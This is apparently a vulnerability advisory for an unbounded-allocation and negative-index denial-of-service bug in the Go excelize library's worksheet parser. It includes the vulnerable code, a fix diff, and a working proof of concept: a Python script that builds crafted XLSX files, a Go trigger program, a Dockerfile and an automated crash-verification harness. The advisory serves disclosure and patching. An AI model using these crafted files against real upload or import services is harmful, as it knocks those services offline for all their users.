PT-2026-57360 · Go · Github.Com/Xuri/Excelize/V2
Publicado
2026-07-10
·
Atualizado
2026-07-10
CVSS v3.1
7.5
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)
Summary
The
checkSheet() function in github.com/xuri/excelize/v2 uses an attacker-controlled <row r="N"> XML attribute value directly as the length argument to make([]xlsxRow, row) without validating it against the Excel row limit (TotalRows = 1,048,576). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when r=2147483647 forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when r=-1. Any service that opens attacker-supplied XLSX files and calls GetCellValue is affected. No authentication is required.Details
The vulnerable code path is triggered by calling
GetCellValue (or any API that internally invokes workSheetReader) on an XLSX file containing a crafted worksheet row element.Data flow (source → sink):
excelize.go:186-193—OpenReaderreads attacker-controlled spreadsheet bytes.excelize.go:216-223— ZIP reader is created and passed toReadZipReader.lib.go:43-77— ZIP entries are read intofileList; worksheet XML is stored by part name.excelize.go:228-229— XML bytes are stored inf.Pkg.cell.go:71-79— PublicGetCellValueenters the worksheet value-read path.cell.go:1492-1494—getCellStringFunccallsworkSheetReader.excelize.go:313-324— Worksheet XML is decoded intoxlsxWorksheet.xmlWorksheet.go:302-312—<row r="...">is deserialized intoxlsxRow.R intwith no validation (source).excelize.go:357-377—checkSheet()accumulates the maximumrvalue; sink:make([]xlsxRow, row)allocates a slice of that size before any bounds check.
Vulnerable code (
excelize.go:373-377):go
if r.R != 0 && r.R > row {
row = r.R
}
sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocationThe constant
TotalRows = 1048576 is defined in templates.go:190 but is never applied before the make() call in checkSheet(), leaving the allocation fully attacker-controlled.Variant A (
r = 2147483647): make([]xlsxRow, 2147483647) attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with fatal error: runtime: out of memory.Variant B (
r = -1): The first loop in checkSheet() leaves row = 0 because the condition r.R != 0 is false for r.R = -1. The second loop then executes sheetData.Row[r.R-1], which evaluates to sheetData.Row[-2], triggering runtime error: index out of range [-2] at excelize.go:381.Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is:
panic: runtime error: index out of range [-2]
goroutine 1 [running]:
github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...)
/excelize/excelize.go:381
github.com/xuri/excelize/v2.(*File).workSheetReader(...)
/excelize/excelize.go:329
github.com/xuri/excelize/v2.(*File).getCellStringFunc(...)
/excelize/cell.go:1494
github.com/xuri/excelize/v2.(*File).GetCellValue(...)
/excelize/cell.go:72
main.main.func1(...)
/excelize/cmd/poc/main.go:44
main.main()
/excelize/cmd/poc/main.go:52Recommended remediation (
excelize.go):diff
-func (ws *xlsxWorksheet) checkSheet() {
+func (ws *xlsxWorksheet) checkSheet() error {
...
for i := 0; i < len(ws.SheetData.Row); i++ {
r := ws.SheetData.Row[i]
+ if r.R < 0 {
+ return newInvalidRowNumberError(r.R)
+ }
+ if r.R > TotalRows {
+ return ErrMaxRows
+ }
...
ws.SheetData = *sheetData
+ return nil
}PoC
Step 1: Generate the malicious XLSX
python
import zipfile
# Variant A: OOM → row = "2147483647"
# Variant B: Panic → row = "-1"
row = "-1"
with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP DEFLATED) as z:
z.writestr("[Content Types].xml", '''<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>''')
z.writestr(" rels/.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>''')
z.writestr("xl/workbook.xml", '''<?xml version="1.0" encoding="UTF-8"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>
</workbook>''')
z.writestr("xl/ rels/workbook.xml.rels", '''<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>''')
z.writestr("xl/worksheets/sheet1.xml", f'''<?xml version="1.0" encoding="UTF-8"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData><row r="{row}"><c r="A1"><v>1</v></c></row></sheetData>
</worksheet>''')Step 2: Trigger the vulnerability
go
package main
import "github.com/xuri/excelize/v2"
func main() {
f, err := excelize.OpenFile("malicious.xlsx")
if err != nil { panic(err) }
defer f.Close()
, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make()
if err != nil { panic(err) }
}Expected results:
- Variant A (
r="2147483647"): process is killed by the OOM killer (fatal error: runtime: out of memoryor exit code 137). - Variant B (
r="-1"): process panics withruntime error: index out of range [-2]atexcelize.go:381(exit code 2).
Both variants were confirmed in a Docker container with
--memory 256m --memory-swap 256m. The malicious XLSX payload is a few hundred bytes.Impact
This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses
github.com/xuri/excelize/v2 to open attacker-supplied XLSX files and subsequently calls any cell-reading API (GetCellValue, GetRows, GetCols, or any function that internally triggers workSheetReader).Who is impacted:
- Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools).
- CLI tools or batch jobs that parse user-supplied spreadsheet files.
- Any application using the library to handle untrusted XLSX documents.
The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application.
Reproduction artifacts
Dockerfile
dockerfile
# Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
# CWE-770 — Allocation of Resources Without Limits or Throttling
# Target: github.com/xuri/excelize/v2 @ commit f4a068b
#
# Exploit path:
# GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet()
# In checkSheet() (excelize.go:341-393), the attacker-controlled <row r="N">
# attribute is used directly as make([]xlsxRow, row) size with no bounds check.
#
# Variant A (r=2147483647): OOM — make([]xlsxRow, 2147483647) exhausts memory
# Variant B (r=-1): Panic — second loop does sheetData.Row[-2] (index OOB)
FROM golang:latest AS builder
# Copy the vulnerable excelize library source (serves as the Go module)
COPY repo/ /excelize/
# Copy the exploit main package written by poc.py
COPY vuln-001/exploit main.go /excelize/cmd/poc/main.go
WORKDIR /excelize
# Build the exploit binary.
# -mod=mod: allow Go to update go.sum for any transitive deps.
# CGO ENABLED=0: produce a statically-linked binary for the runtime stage.
RUN CGO ENABLED=0 GOFLAGS="-mod=mod" go build -o /poc ./cmd/poc/
# Minimal runtime stage (golang image provides a libc for cgo-free binary too)
FROM golang:latest
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]poc.py
python
#!/usr/bin/env python3
"""
PoC for VULN-001: Unbounded Row Index Allocation in excelize checkSheet()
CWE-770 — Allocation of Resources Without Limits or Throttling
Repository: qax-os/excelize Commit: f4a068b
Exploit mechanism:
xlsxWorksheet.checkSheet() (excelize.go:341-393) iterates worksheet rows and
uses the attacker-controlled <row r="N"> attribute directly as the length
argument to make([]xlsxRow, row) without any bounds validation against
TotalRows (1,048,576).
Variant A (r=2147483647): make([]xlsxRow, 2^31-1) → OOM / fatal error
Variant B (r=-1): first loop leaves row=0; second loop executes
sheetData.Row[-1-1] → runtime panic: index out of range
This script:
1. Writes exploit main.go (the Go PoC binary source).
2. Creates two malicious XLSX files (one per variant).
3. Builds the Docker image.
4. Runs each variant and captures evidence.
5. Writes phase2 result.json with verdict.
"""
import json
import os
import subprocess
import sys
import textwrap
import zipfile
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
BASE DIR = os.path.dirname(os.path.abspath( file ))
PARENT DIR = os.path.dirname(BASE DIR) # Docker build context
RESULT FILE = os.path.join(BASE DIR, "phase2 result.json")
DOCKERFILE = os.path.join(BASE DIR, "Dockerfile")
IMAGE NAME = "excelize-poc-vuln001"
EXPLOIT SRC = os.path.join(BASE DIR, "exploit main.go")
PANIC XLSX = os.path.join(BASE DIR, "row negative.xlsx")
OOM XLSX = os.path.join(BASE DIR, "row maxint.xlsx")
# ---------------------------------------------------------------------------
# Step 1 — Write the Go exploit source
# ---------------------------------------------------------------------------
EXPLOIT GO = textwrap.dedent("""
// exploit main.go — PoC for VULN-001
// Triggers excelize checkSheet() unbounded allocation via malicious XLSX.
package main
import (
t"fmt"
t"os"
t"runtime/debug"
texcelize "github.com/xuri/excelize/v2"
)
func main() {
tif len(os.Args) < 2 {
ttfmt.Fprintln(os.Stderr, "Usage: poc <xlsx file>")
ttos.Exit(1)
t}
tpath := os.Args[1]
tfmt.Printf("[*] Opening: %s
", path)
t// Wrap the call so we can print a structured panic message before exiting.
t// The panic itself is the evidence of exploitability.
tfunc() {
ttdefer func() {
tttif r := recover(); r != nil {
ttttfmt.Println("[VULN] PANIC CAUGHT — vulnerability confirmed")
ttttfmt.Printf("[VULN] panic value: %v
", r)
ttttfmt.Println("[VULN] Stack trace:")
ttttdebug.PrintStack()
ttttos.Exit(2) // exit 2 = exploitable crash (panic)
ttt}
tt}()
ttf, err := excelize.OpenFile(path)
ttif err != nil {
tttfmt.Printf("[!] OpenFile error: %v
", err)
tttos.Exit(1)
tt}
ttdefer f.Close()
tt// GetCellValue → getCellStringFunc → workSheetReader → checkSheet()
tt// checkSheet() is the sink: make([]xlsxRow, row) where row is attacker-controlled.
ttfmt.Println("[*] Calling GetCellValue — entering checkSheet() sink")
ttval, err := f.GetCellValue("Sheet1", "A1")
ttif err != nil {
ttt// Some errors surface instead of panicking (e.g. allocation failures
ttt// that Go converts to errors in some configurations).
tttfmt.Printf("[!] GetCellValue error: %v
", err)
tttos.Exit(3) // exit 3 = error path (still abnormal)
tt}
ttfmt.Printf("[*] GetCellValue returned normally, value=%q (no crash)
", val)
t}()
}
""")
def write exploit source() -> None:
with open(EXPLOIT SRC, "w") as fh:
fh.write(EXPLOIT GO)
print(f"[+] Wrote exploit source: {EXPLOIT SRC}")
# ---------------------------------------------------------------------------
# Step 2 — Build malicious XLSX files
# ---------------------------------------------------------------------------
CONTENT TYPES = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">'
'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>'
'<Default Extension="xml" ContentType="application/xml"/>'
'<Override PartName="/xl/workbook.xml"'
' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>'
'<Override PartName="/xl/worksheets/sheet1.xml"'
' ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>'
'</Types>'
)
RELS = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
'<Relationship Id="rId1"'
' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument"'
' Target="xl/workbook.xml"/>'
'</Relationships>'
)
WORKBOOK = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"'
' xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">'
'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets>'
'</workbook>'
)
WORKBOOK RELS = (
'<?xml version="1.0" encoding="UTF-8"?>'
'<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">'
'<Relationship Id="rId1"'
' Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet"'
' Target="worksheets/sheet1.xml"/>'
'</Relationships>'
)
def sheet xml(row r: str) -> str:
return (
'<?xml version="1.0" encoding="UTF-8"?>'
'<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">'
f'<sheetData><row r="{row r}"><c r="A1"><v>1</v></c></row></sheetData>'
'</worksheet>'
)
def build xlsx(path: str, row r: str) -> None:
with zipfile.ZipFile(path, "w", zipfile.ZIP DEFLATED) as z:
z.writestr("[Content Types].xml", CONTENT TYPES)
z.writestr(" rels/.rels", RELS)
z.writestr("xl/workbook.xml", WORKBOOK)
z.writestr("xl/ rels/workbook.xml.rels", WORKBOOK RELS)
z.writestr("xl/worksheets/sheet1.xml", sheet xml(row r))
print(f"[+] Created {os.path.basename(path)} (row r={row r!r})")
# ---------------------------------------------------------------------------
# Step 3 — Docker helpers
# ---------------------------------------------------------------------------
def run cmd(cmd: list, timeout: int = 600) -> subprocess.CompletedProcess:
print(f"[>] {' '.join(str(x) for x in cmd)}")
return subprocess.run(
cmd,
capture output=True,
text=True,
timeout=timeout,
)
def docker build() -> tuple[bool, str]:
result = run cmd(
[
"docker", "build",
"--no-cache",
"-f", DOCKERFILE,
"-t", IMAGE NAME,
PARENT DIR,
],
timeout=600,
)
combined = result.stdout + result.stderr
if result.returncode != 0:
print(f"[-] docker build FAILED (rc={result.returncode})")
print(combined[-4000:])
return False, combined
print("[+] Docker image built successfully")
return True, combined
def docker run variant(label: str, xlsx path: str, mem: str = "256m", timeout: int = 90) -> dict:
"""Run the exploit container against one XLSX file and return analysis dict."""
cmd = [
"docker", "run", "--rm",
"--memory", mem,
"--memory-swap", mem,
"-v", f"{xlsx path}:/input.xlsx:ro",
IMAGE NAME,
"/input.xlsx",
]
run cmd str = " ".join(cmd)
try:
result = run cmd(cmd, timeout=timeout)
rc = result.returncode
stdout = result.stdout or ""
stderr = result.stderr or ""
except subprocess.TimeoutExpired:
rc = -99
stdout = ""
stderr = f"TIMEOUT after {timeout}s"
combined = stdout + stderr
print(f"
--- {label} ---")
print(f" exit code : {rc}")
print(f" stdout : {stdout[:1200]}")
print(f" stderr : {stderr[:1200]}")
is panic = any(kw in combined for kw in (
"index out of range",
"PANIC CAUGHT",
"runtime error",
"goroutine ",
"panic:",
))
is oom = any(kw in combined for kw in (
"out of memory",
"cannot allocate",
"fatal error",
"makeslice",
)) or rc == 137
# exit 2 = panic caught; exit 137 = OOM kill; exit 3 = error path
crashed = rc != 0 and (is panic or is oom or rc in (2, 3, 137))
return {
"label": label,
"rc": rc,
"is panic": is panic,
"is oom": is oom,
"crashed": crashed,
"run cmd": run cmd str,
"snippet": combined[:1500].strip(),
}
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def main() -> None:
print("=" * 65)
print("VULN-001 PoC — excelize checkSheet() unbounded allocation DoS")
print("=" * 65)
# 1. Write Go exploit source (needed before docker build)
write exploit source()
# 2. Create malicious XLSX payloads
build xlsx(PANIC XLSX, "-1") # Variant B: index OOB panic
build xlsx(OOM XLSX, "2147483647") # Variant A: 2 GB+ make() → OOM
# 3. Build Docker image
build cmd = (
f"docker build --no-cache -f {DOCKERFILE} -t {IMAGE NAME} {PARENT DIR}"
)
build ok, build out = docker build()
if not build ok:
payload = {
"passed": False,
"verdict": "FAIL",
"reason": (
"Docker 이미지 빌드에 실패했습니다. golang:latest 이미지가 go.mod의 "
"'go 1.25.0' 요건을 충족하지 않을 수 있습니다. Dockerfile에서 "
"'golang:1.25' 등 명시적 버전 태그로 교체 후 재시도 바랍니다."
),
"build command": build cmd,
"run command": "",
"poc command": f"python3 {os.path.abspath( file )}",
"evidence": build out[-2000:],
"artifacts": ["Dockerfile", "poc.py"],
}
with open(RESULT FILE, "w") as fh:
json.dump(payload, fh, indent=2, ensure ascii=False)
print(f"
[!] FAIL result → {RESULT FILE}")
sys.exit(1)
# 4. Run both variants
ev panic = docker run variant(
"Variant B — r=-1 (index out of range panic)", PANIC XLSX, mem="256m")
ev oom = docker run variant(
"Variant A — r=2147483647 (OOM)", OOM XLSX, mem="256m")
# 5. Verdict
passed = ev panic["crashed"] or ev oom["crashed"]
if ev panic["crashed"]:
primary, primary ev = "B (r=-1, panic)", ev panic
elif ev oom["crashed"]:
primary, primary ev = "A (r=2147483647, OOM)", ev oom
else:
primary, primary ev = "B (r=-1, panic)", ev panic # best-effort
if passed:
reason = (
f"실행 결과 비정상 종료 확인됨 (주요 variant: {primary}). "
f"Variant B(r=-1): rc={ev panic['rc']}, panic={ev panic['is panic']}; "
f"Variant A(r=2147483647): rc={ev oom['rc']}, oom={ev oom['is oom']}. "
"excelize.go:377 make([]xlsxRow, row)에 대한 bounds 검증 부재가 "
"컨테이너 내 실제 DoS(패닉/OOM)를 유발함을 실행으로 증명."
)
verdict = "PASS"
else:
reason = (
"컨테이너 실행이 완료되었으나 충돌(패닉/OOM) 증거가 관측되지 않음. "
f"Variant B rc={ev panic['rc']}, Variant A rc={ev oom['rc']}. "
"가능한 원인: (1) Go 런타임이 make() 실패를 panic 대신 error로 반환, "
"(2) 메모리 한도 초과 전 OOM killer가 작동하지 않음. "
"다음을 시도: --memory 64m으로 재실행, 또는 호스트에서 직접 Go 빌드 후 실행."
)
verdict = "FAIL"
phase2 = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build command": build cmd,
"run command": primary ev["run cmd"],
"poc command": f"python3 {os.path.abspath( file )}",
"evidence": primary ev["snippet"],
"artifacts": ["Dockerfile", "poc.py"],
}
with open(RESULT FILE, "w") as fh:
json.dump(phase2, fh, indent=2, ensure ascii=False)
print(f"
{'='*65}")
print(f"Verdict : {verdict} (passed={passed})")
print(f"Result → {RESULT FILE}")
print("=" * 65)
if name == " main ":
main()Correção
Allocation of Resources Without Limits
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Github.Com/Xuri/Excelize/V2